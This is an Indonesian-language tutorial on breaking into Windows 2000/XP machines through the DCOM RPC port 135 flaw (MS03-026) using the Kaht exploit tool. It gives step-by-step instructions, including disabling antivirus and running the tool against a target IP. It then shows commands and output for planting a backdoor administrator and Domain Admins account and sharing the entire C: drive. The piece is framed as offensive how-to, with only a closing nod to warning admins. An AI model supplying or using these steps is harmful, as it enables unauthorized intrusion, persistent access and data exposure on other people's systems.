Hacking Password Windows

Kita akan menggunakan metode exploits port 135 (DCOM RPC) pada windows. Semenjak adanya issue virus W32.Welchia.K yang menyerang port 135 yang lalu penulis merasa penasaran terhadapa artikel ini. Issue itu dikeluarkan oleh symantec.com dan turut dibenarkan pula oleh pihak Microsoft (Baca Microsoft Security Bulletin MS03-026).Target dari worm ini adalah pc yang menggunakan IIS 5.0 seperti windows 2000 dan XP mungkin juga bisa digunakan pada NT. Untuk mempersingkat waktu saya coba bahas bagaimana cara hacking dengan memanfaatkan exploits tersebut.

anda dapat menggunakan tools Kaht dapat anda download diinternet atau dapat anda ambil disini. Karena proses ini menggunakan worm maka anda harus disable anti virus anda. Don’t worry ….!!! You’r pc is still safe. Selain itu ganti gateway anda karena akan dapat memadati jalur Internet ke DNS.

Langkah-langkah :
1.Unzip file Kaht.zip
2.Letakkan pada direktori yang anda sukai
3.Masuk kedirektori tempat file berada melalui text mode
4.Tentukan sasaran pc yang mau dihacking missal :
IP : 192.168.22.2
Kaht 192.168.22.1 192.168.22.2
Jika hacking anda berhasil maka anda akan menemui tampilan sbb

Dari gambar diatas menunjukkan bahwa anda sudah berhasil memasuki remote dengan login administrator. Fantastis man…..!!!! I love windows, because we can manage them in everywhere.

5.Setelah proses penetrasi berhasil maka anda dapat melakukan apa saja. Dalam hal ini penulis memberikan contoh membuat user setara administrator dan membuat file sharing.
6.Untuk membuat user setara administrator lakukan seperti dibawah ini

C:\WINNT\system32>net user aris mambu /add
net user aris mambu /add
The command completed successfully.

C:\WINNT\system32>net localgroup Administrators aris /add
net localgroup Administrators aris /add
The command completed successfully.

C:\WINNT\system32>net group “Domain Admins” aris /add
net group “Domain Admins” aris /add
The command completed successfully.

7.Sedangkan untuk membuat file share dapat dilakukan seperti berikut.

C:\WINNT\system32>net share c=c:\
net share c=c:\
c was shared successfully.

Dalam hal ini saya hanya mengingatkan pada admins windows untuk hati hati dalam menjaga server.